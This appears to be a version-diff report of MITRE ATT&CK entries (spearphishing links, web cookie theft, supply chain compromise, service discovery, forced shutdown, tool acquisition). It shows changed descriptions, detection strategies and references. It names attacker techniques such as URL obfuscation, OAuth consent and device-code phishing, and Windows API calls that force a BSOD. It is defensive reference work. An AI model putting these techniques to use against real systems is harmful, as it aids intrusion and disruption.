	>	ges intended to exploit the end system directly. Additionall		>	ges intended to exploit the end system directly. Additionall
	>	y, adversaries may use seemingly benign links that abuse spe		>	y, adversaries may use seemingly benign links that abuse spe
	>	cial characters to mimic legitimate websites (known as an "I		>	cial characters to mimic legitimate websites (known as an "I
	>	DN homograph attack").(Citation: CISA IDN ST05-016) URLs may		>	DN homograph attack").(Citation: CISA IDN ST05-016) URLs may
	>	also be obfuscated by taking advantage of quirks in the URL		>	also be obfuscated by taking advantage of quirks in the URL
	>	schema, such as the acceptance of integer- or hexadecimal-b		>	schema, such as the acceptance of integer- or hexadecimal-b
	>	ased hostname formats and the automatic discarding of text b		>	ased hostname formats and the automatic discarding of text b
	>	efore an “@” symbol: for example, `hxxp://google.com@1157586		>	efore an “@” symbol: for example, `hxxp://google.com@1157586
	>	937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries		>	937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries
	>	may also utilize links to perform consent phishing, typicall		>	may also utilize links to perform consent phishing/spearphis
	>	y with OAuth 2.0 request URLs that when accepted by the user		>	hing campaigns to [Steal Application Access Token](https://a
	>	provide permissions/access for malicious applications, allo		>	ttack.mitre.org/techniques/T1528)s that grant immediate acce
	>	wing adversaries to [Steal Application Access Token](https:		>	ss to the victim environment. For example, a user may be lur
	>	//attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro		>	ed into granting adversaries permissions/access via a malici
	>	Pawn Storm OAuth 2017) These stolen access tokens allow the		>	ous OAuth 2.0 request URL that when accepted by the user pro
	>	adversary to perform various actions on behalf of the user		>	vide permissions/access for malicious applications.(Citation
	>	via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishi		>	: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAu
	>	ng 2021) Adversaries may also utilize spearphishing links t		>	th 2.0 Consent Phishing 2021) These stolen access tokens all
	>	o [Steal Application Access Token](https://attack.mitre.org/		>	ow the adversary to perform various actions on behalf of the
	>	techniques/T1528)s that grant immediate access to the victim		>	user via API calls.(Citation: Microsoft OAuth 2.0 Consent P
	>	environment. For example, a user may be lured through “cons		>	hishing 2021) Similarly, malicious links may also target de
	>	ent phishing” into granting adversaries permissions/access v		>	vice-based authorization, such as OAuth 2.0 device authoriza
	>	ia a malicious OAuth 2.0 request URL .(Citation: Trend Micro		>	tion grant flow which is typically used to authenticate devi
	>	Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consen		>	ces without UIs/browsers. Known as “device code phishing,” a
	>	t Phishing 2021) Similarly, malicious links may also target		>	n adversary may send a link that directs the victim to a mal
	>	device-based authorization, such as OAuth 2.0 device author		>	icious authorization page where the user is tricked into ent
	>	ization grant flow which is typically used to authenticate d		>	ering a code/credentials that produces a device token.(Citat
	>	evices without UIs/browsers. Known as “device code phishing,		>	ion: SecureWorks Device Code Phishing 2021)(Citation: Netsko
	>	” an adversary may send a link that directs the victim to a		>	pe Device Code Phishing 2021)(Citation: Optiv Device Code Ph
	>	malicious authorization page where the user is tricked into		>	ishing 2021)
	>	entering a code/credentials that produces a device token.(Ci
	>	tation: SecureWorks Device Code Phishing 2021)(Citation: Net
	>	skope Device Code Phishing 2021)(Citation: Optiv Device Code
	>	Phishing 2021)

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0107: Detection Strategy for Spearphishing Links

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:10:41.326000+00:00	2025-10-24 17:48:34.123000+00:00
description	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021) Adversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through “consent phishing” into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)
x_mitre_detection	URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
x_mitre_version	2.7	2.8

[T1539] Steal Web Session Cookie

Current version: 1.5

Version changed from: 1.4 → 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Access)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0509: Detection of Web Session Cookie Theft via File, Memory, and Network Artifacts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Access', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:12:39.075000+00:00	2025-10-24 17:48:25.272000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.
x_mitre_version	1.4	1.5

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Don Le, Stifel Financial

[T1195] Supply Chain Compromise

Current version: 1.7

Version changed from: 1.6 → 1.7

	Old Description			New Description
t	1	Adversaries may manipulate products or product delivery mech	t	1	Adversaries may manipulate products or product delivery mech
	>	anisms prior to receipt by a final consumer for the purpose		>	anisms prior to receipt by a final consumer for the purpose
	>	of data or system compromise. Supply chain compromise can t		>	of data or system compromise. Supply chain compromise can t
	>	ake place at any stage of the supply chain including: * Man		>	ake place at any stage of the supply chain including: * Man
	>	ipulation of development tools * Manipulation of a developme		>	ipulation of development tools * Manipulation of a developme
	>	nt environment * Manipulation of source code repositories (p		>	nt environment * Manipulation of source code repositories (p
	>	ublic or private) * Manipulation of source code in open-sour		>	ublic or private) * Manipulation of source code in open-sour
	>	ce dependencies * Manipulation of software update/distributi		>	ce dependencies * Manipulation of software update/distributi
	>	on mechanisms * Compromised/infected system images (multiple		>	on mechanisms * Compromised/infected system images (removabl
	>	cases of removable media infected at the factory)(Citation:		>	e media infected at the factory)(Citation: IBM Storwize)(Cit
	>	IBM Storwize)(Citation: Schneider Electric USB Malware) *		>	ation: Schneider Electric USB Malware) * Replacement of leg
	>	Replacement of legitimate software with modified versions *		>	itimate software with modified versions * Sales of modified/
	>	Sales of modified/counterfeit products to legitimate distrib		>	counterfeit products to legitimate distributors * Shipment i
	>	utors * Shipment interdiction While supply chain compromise		>	nterdiction While supply chain compromise can impact any co
	>	can impact any component of hardware or software, adversari		>	mponent of hardware or software, adversaries looking to gain
	>	es looking to gain execution have often focused on malicious		>	execution have often focused on malicious additions to legi
	>	additions to legitimate software in software distribution o		>	timate software in software distribution or update channels.
	>	r update channels.(Citation: Avast CCleaner3 2018)(Citation:		>	(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil
	>	Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targ		>	2018)(Citation: Command Five SK 2011) Adversaries may limit
	>	eting may be specific to a desired victim set or malicious s		>	targeting to a desired victim set or distribute malicious so
	>	oftware may be distributed to a broad set of consumers but o		>	ftware to a broad set of consumers but only follow up with s
	>	nly move on to additional tactics on specific victims.(Citat		>	pecific victims.(Citation: Symantec Elderwood Sept 2012)(Cit
	>	ion: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3		>	ation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)
	>	2018)(Citation: Command Five SK 2011) Popular open source p		>	Popular open-source projects that are used as dependencies
	>	rojects that are used as dependencies in many applications m		>	in many applications may also be targeted as a means to add
	>	ay also be targeted as a means to add malicious code to user		>	malicious code to users of the dependency.(Citation: Trendmi
	>	s of the dependency.(Citation: Trendmicro NPM Compromise)		>	cro NPM Compromise) In some cases, adversaries may conduct
				>	“second-order” supply chain compromises by leveraging the ac
				>	cess gained from an initial supply chain compromise to furth
				>	er compromise a software component.(Citation: Krebs 3cx over
				>	view 2023) This may allow the threat actor to spread to even
				>	more victims.

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0537: Behavioral detection for Supply Chain Compromise (package/update tamper → install → first-run)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Sensor Health: Host Status', 'File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:13:41.905000+00:00	2025-10-24 17:48:41.675000+00:00
description	Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)	Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) In some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component.(Citation: Krebs 3cx overview 2023) This may allow the threat actor to spread to even more victims.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.
x_mitre_version	1.6	1.7

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Krebs 3cx overview 2023', 'description': 'Brian Krebs. (2023, April 20). 3CX Breach Was a Double Supply Chain Compromise. Retrieved May 22, 2025.', 'url': 'https://krebsonsecurity.com/2023/04/3cx-breach-was-a-double-supply-chain-compromise/'}
x_mitre_contributors		Menachem Goldstein
x_mitre_contributors		Damien Miller-McAndrews
x_mitre_platforms		SaaS

[T1007] System Service Discovery

Current version: 1.6

Version changed from: 1.5 → 1.6

	Old Description			New Description
t	1	Adversaries may try to gather information about registered l	t	1	Adversaries may try to gather information about registered l
	>	ocal system services. Adversaries may obtain information abo		>	ocal system services. Adversaries may obtain information abo
	>	ut services using tools as well as OS utility commands such		>	ut services using tools as well as OS utility commands such
	>	as <code>sc query</code>, <code>tasklist /svc</code>, <code>		>	as <code>sc query</code>, <code>tasklist /svc</code>, <code>
	>	systemctl --type=service</code>, and <code>net start</code>.		>	systemctl --type=service</code>, and <code>net start</code>.
	>	Adversaries may use the information from [System Service D		>	Adversaries may also gather information about schedule task
	>	iscovery](https://attack.mitre.org/techniques/T1007) during		>	s via commands such as `schtasks` on Windows or `crontab -l`
	>	automated discovery to shape follow-on behaviors, including		>	on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2
	>	whether or not the adversary fully infects the target and/or		>	024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Sp
	>	attempts specific actions.		>	lunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020) Adv
				>	ersaries may use the information from [System Service Discov
				>	ery](https://attack.mitre.org/techniques/T1007) during autom
				>	ated discovery to shape follow-on behaviors, including wheth
				>	er or not the adversary fully infects the target and/or atte
				>	mpts specific actions.

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0483: Detection of System Service Discovery Commands Across OS Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:14:33.837000+00:00	2025-10-24 17:48:36.812000+00:00
description	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query`, `tasklist /svc`, `systemctl --type=service`, and `net start`. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query`, `tasklist /svc`, `systemctl --type=service`, and `net start`. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020) Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
x_mitre_version	1.5	1.6

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Aquasec Kinsing 2020', 'description': 'Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.', 'url': 'https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/'}
external_references		{'source_name': 'Elastic Security Labs GOSAR 2024', 'description': 'Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.', 'url': 'https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar'}
external_references		{'source_name': 'SentinelLabs macOS Malware 2021', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.', 'url': 'https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}
external_references		{'source_name': 'Splunk Linux Gormir 2024', 'description': 'Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor’s TTPs. Retrieved May 22, 2025.', 'url': 'https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html'}

[T1529] System Shutdown/Reboot

Current version: 1.5

Version changed from: 1.4 → 1.5

	Old Description			New Description
t	1	Adversaries may shutdown/reboot systems to interrupt access	t	1	Adversaries may shutdown/reboot systems to interrupt access
	>	to, or aid in the destruction of, those systems. Operating s		>	to, or aid in the destruction of, those systems. Operating s
	>	ystems may contain commands to initiate a shutdown/reboot of		>	ystems may contain commands to initiate a shutdown/reboot of
	>	a machine or network device. In some cases, these commands		>	a machine or network device. In some cases, these commands
	>	may also be used to initiate a shutdown/reboot of a remote c		>	may also be used to initiate a shutdown/reboot of a remote c
	>	omputer or network device via [Network Device CLI](https://a		>	omputer or network device via [Network Device CLI](https://a
	>	ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co		>	ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co
	>	de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert		>	de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert
	>	_TA18_106A) They may also include shutdown/reboot of a virtu		>	_TA18_106A) They may also include shutdown/reboot of a virtu
	>	al machine via hypervisor / cloud consoles or command line t		>	al machine via hypervisor / cloud consoles or command line t
	>	ools. Shutting down or rebooting systems may disrupt access		>	ools. Shutting down or rebooting systems may disrupt access
	>	to computer resources for legitimate users while also imped		>	to computer resources for legitimate users while also imped
	>	ing incident response/recovery. Adversaries may attempt to		>	ing incident response/recovery. Adversaries may also use Wi
	>	shutdown/reboot a system after impacting it in other ways, s		>	ndows API functions, such as `InitializeSystemShutdownExW` o
	>	uch as [Disk Structure Wipe](https://attack.mitre.org/techni		>	r `ExitWindowsEx`, to force a system to shut down or reboot.
	>	ques/T1561/002) or [Inhibit System Recovery](https://attack.		>	(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) A
	>	mitre.org/techniques/T1490), to hasten the intended effects		>	lternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Wi
	>	on system availability.(Citation: Talos Nyetya June 2017)(Ci		>	ndows API functions with the `ResponseOption` parameter set
	>	tation: Talos Olympic Destroyer 2018)		>	to `OptionShutdownSystem` may deliver a “blue screen of deat
				>	h” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRais
				>	eHardError)(Citation: NotMe-BSOD) In order to leverage these
				>	API functions, an adversary may need to acquire `SeShutdown
				>	Privilege` (e.g., via [Access Token Manipulation](https://at
				>	tack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2
				>	023) In some cases, the system may not be able to boot agai
				>	n. Adversaries may attempt to shutdown/reboot a system aft
				>	er impacting it in other ways, such as [Disk Structure Wipe]
				>	(https://attack.mitre.org/techniques/T1561/002) or [Inhibit
				>	System Recovery](https://attack.mitre.org/techniques/T1490),
				>	to hasten the intended effects on system availability.(Cita
				>	tion: Talos Nyetya June 2017)(Citation: Talos Olympic Destro
				>	yer 2018)

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0013: Sensor Health (Host Status)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0559: Multi-Platform Shutdown or Reboot Detection via Execution and Host Status Events

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Sensor Health: Host Status', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:24.950000+00:00	2025-10-24 17:49:40.145000+00:00
description	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. `reload`).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools. Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery. Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. `reload`).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools. Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery. Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a “blue screen of death” (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023) In some cases, the system may not be able to boot again. Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the `reload` command.
x_mitre_version	1.4	1.5

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'NotMe-BSOD', 'description': 'lzcapp. (n.d.). Retrieved September 22, 2025.', 'url': 'https://github.com/lzcapp/NotMe-BSOD'}
external_references		{'source_name': 'NtRaiseHardError', 'description': 'NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.', 'url': 'https://ntdoc.m417z.com/ntraiseharderror'}
external_references		{'source_name': 'Unit42 Agrius 2023', 'description': 'Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.', 'url': 'https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/'}
external_references		{'source_name': 'SonicWall', 'description': 'SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.', 'url': 'https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant'}
external_references		{'source_name': 'CrowdStrike Blog', 'description': 'William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon® Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.', 'url': 'https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/'}

[T1588.002] Obtain Capabilities: Tool

Current version: 1.2

Version changed from: 1.1 → 1.2

	Old Description			New Description
t	1	Adversaries may buy, steal, or download software tools that	t	1	Adversaries may buy, steal, or download software tools that
	>	can be used during targeting. Tools can be open or closed so		>	can be used during targeting. Tools can be open or closed so
	>	urce, free or commercial. A tool can be used for malicious p		>	urce, free or commercial. A tool can be used for malicious p
	>	urposes by an adversary, but (unlike malware) were not inten		>	urposes by an adversary, but (unlike malware) were not inten
	>	ded to be used for those purposes (ex: [PsExec](https://atta		>	ded to be used for those purposes (ex: [PsExec](https://atta
	>	ck.mitre.org/software/S0029)). Tool acquisition can involve		>	ck.mitre.org/software/S0029)). Adversaries may obtain tool
	>	the procurement of commercial software licenses, including f		>	s to support their operations, including to support executio
	>	or red teaming tools such as [Cobalt Strike](https://attack.		>	n of post-compromise behaviors. Tools may also be leveraged
	>	mitre.org/software/S0154). Commercial software may be obtain		>	for testing – for example, evaluating malware against commer
	>	ed through purchase, stealing licenses (or licensed copies o		>	cial antivirus or endpoint detection and response (EDR) appl
	>	f the software), or cracking trial versions.(Citation: Recor		>	ications.(Citation: Forescout Conti Leaks 2022)(Citation: Se
	>	ded Future Beacon 2019) Adversaries may obtain tools to sup		>	ntinel Labs Top Tier Target 2025) Tool acquisition may invo
	>	port their operations, including to support execution of pos		>	lve the procurement of commercial software licenses, includi
	>	t-compromise behaviors. In addition to freely downloading or		>	ng for red teaming tools such as Cobalt Strike. In addition
	>	purchasing software, adversaries may steal software and/or		>	to freely downloading or purchasing software, adversaries ma
	>	software licenses from third-party entities (including other		>	y steal software and/or software licenses from third-party e
	>	adversaries).		>	ntities (including other adversaries). Threat actors may als
				>	o crack trial versions of software.(Citation: Recorded Futur
				>	e Beacon 2019)

Dropped Detections (Data Components -> Technique):

DS0004: Malware Repository (Malware Metadata)

New Detections (Detection Strategies -> Technique):

DET0852: Detection of Tool

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Malware Repository: Malware Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:16:21.007000+00:00	2025-10-24 17:49:10.900000+00:00
